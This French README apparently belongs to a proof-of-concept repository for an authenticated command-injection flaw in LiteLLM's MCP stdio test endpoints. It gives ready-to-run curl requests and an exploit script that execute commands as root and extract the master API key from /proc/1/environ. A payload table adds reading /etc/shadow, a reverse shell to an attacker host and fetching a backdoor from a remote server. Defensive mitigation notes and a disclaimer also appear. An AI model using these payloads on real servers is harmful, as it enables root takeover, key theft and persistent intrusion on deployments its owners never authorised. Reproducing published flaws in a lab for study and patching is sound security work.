
Le code pour reproduire personnellement la vulnérabilité correspondante
LiteLLM
POST /mcp-rest/test/connectionetPOST /mcp-rest/test/tools/list— Injection de commande authentifiée via le transport MCP stdio. Toute clé API valide peut exécuter des commandes OS arbitraires en tant que root (dans le déploiement Docker par défaut).L'image est fixée par digest : le conteneur vulnérable est fixé à LiteLLM v1.82.6, garantissant une reproductibilité à long terme.
| Champ | Valeur |
|---|---|
| CVE | CVE-2026-42271 |
| CVSS v4.0 | 8.7 (ÉLEVÉE) — CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:N/SA:N |
| CVSS v3.1 | 8.8 (ÉLEVÉE) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-77 / CWE-78 (Injection de commande OS) |
| Affecté | LiteLLM >= 1.74.2, < 1.83.7 |
| Corrigé | v1.83.7+ (liste blanche de commandes + vérification du rôle PROXY_ADMIN ajoutée) |
| Publié | 2026-05-08 |
| Version épinglée | v1.82.6 — Image fixée par digest, garantissant une reproductibilité à long terme |
| Liens | GHSA-v4p8-mg3p-g94g • NVD • Avis GitLab |
Deux endpoints utilisés pour prévisualiser un serveur MCP avant de l'enregistrer — POST /mcp-rest/test/connection et POST /mcp-rest/test/tools/list — acceptent une configuration complète du serveur MCP dans le corps de la requête, incluant les champs command, args et env utilisés par le transport stdio.
Lorsqu'ils sont appelés avec une configuration stdio, les endpoints exécutent la commande fournie en tant que sous-processus sur l'hôte proxy avec les privilèges du processus proxy (root dans le Docker par défaut).
Problème clé : Les endpoints vérifient uniquement la validité d'une clé API proxy sans vérification de rôle — même les clés internal_user à faible privilège peuvent exploiter cette vulnérabilité.
# 1. Démarrer une instance LiteLLM vulnérable (épinglée à v1.82.6)
docker compose up -d
# 2. Exécuter l'exploit
python3 exploit/exploit.py --target http://localhost:4000 --key "sk-litellm-master-key" --cmd "id"
# Ou utiliser curl directement (RCE aveugle — la réponse peut afficher une erreur mais la commande s'exécute)
curl -s -X POST \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
http://localhost:4000/mcp-rest/test/tools/list \
-d '{
"transport": "stdio",
"command": "bash",
"args": ["-c", "id > /tmp/pwned"]
}'
# Vérifier que la commande s'est exécutée dans le conteneur
docker exec litellm-cve cat /tmp/pwned
# Sortie : uid=0(root) gid=0(root) groups=0(root),0(root),...
L'API renvoie "Failed to connect to MCP server" car le processus lancé ne parle pas le protocole MCP — mais la commande a déjà été exécutée avec les privilèges root.
POST /mcp-rest/test/connectionTeste une connexion à un serveur MCP. Avec le transport stdio, lance la commande fournie.
POST /mcp-rest/test/tools/listListe les outils d'un serveur MCP de test. Même comportement — lance la commande fournie lors de l'utilisation du transport stdio.
{
"transport": "stdio",
"command": "bash",
"args": ["-c", "<commande malveillante>"],
"env": {
"PATH": "/usr/bin:/bin"
}
}
Le correctif a ajouté deux couches de défense :
validate_transport_fields() — autorise uniquement : npx, uvx, python, python3, node, docker, denoPROXY_ADMINCVE-2026-42271/
├── README.md # Ce fichier
├── docker-compose.yml # Environnement vulnérable en une commande (épinglé à v1.82.6)
├── requirements.txt # Dépendances
├── exploit/
│ ├── exploit.py # Script d'exploit complet
│ └── payload.py # Module de génération de charges utiles
├── docs/
│ └── advisory.md # Référence d'avis
└── screenshots/ # Captures d'écran de démonstration
PROXY_ADMIN)/mcp-rest/test/connection et /mcp-rest/test/tools/list au niveau du proxy inversedocker run --user 1000:1000 ...Lors de la reproduction de la section 5.7 (extraction des variables d'environnement du processus) , il convient de noter que MCP Python SDK v1.25.0+, lors de la création d'un sous-processus stdio, n'hérite pas des variables d'environnement du processus parent LiteLLM. Le SDK via get_default_environment() ne transmet que HOME et PATH, puis fusionne les champs env explicitement spécifiés par l'utilisateur.
Par conséquent, env > /tmp/env_dump ne permet pas de capturer LITELLM_MASTER_KEY.
Méthode correcte : Extraire les variables d'environnement en lisant /proc/1/environ du processus principal LiteLLM :
# Extraire les variables d'environnement (via /proc/1/environ)
curl -s -X POST \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
http://localhost:4000/mcp-rest/test/tools/list \
-d '{
"transport": "stdio",
"command": "bash",
"args": ["-c", "cat /proc/1/environ | tr \"\\0\" \"\\n\" > /tmp/env_dump"]
}'
# Afficher le résultat
docker exec litellm-cve cat /tmp/env_dump | grep -E "LITELLM|MASTER"
# Sortie : LITELLM_MASTER_KEY=sk-litellm-master-key
Voir la section 5.7 du rapport de reproduction.
Avertissement : Ce contenu est fourni à des fins éducatives et de tests de sécurité autorisés uniquement.
| Scénario | Charge utile |
|---|
| RCE de base | "args": ["-c", "id > /tmp/pwned"] |
| Lire des fichiers | "args": ["-c", "cat /etc/shadow > /tmp/out"] |
| Exfiltrer l'environnement | `"args": ["-c", "cat /proc/1/environ |
| Shell inversé | "args": ["-c", "bash -i >& /dev/tcp/attaquant/4444 0>&1"] |
| Persistance | "args": ["-c", "curl http://attaquant/malware -o /tmp/backdoor && chmod +x /tmp/backdoor"] |
| Champ | Type | Requis | Description |
|---|
transport | string | Oui | Doit être "stdio" pour l'injection de commande |
command | string | Oui | Exécutable à lancer (ex. bash, python, curl) |
args | array | Oui | Arguments passés à la commande |
env | object | Non | Variables d'environnement pour le sous-processus |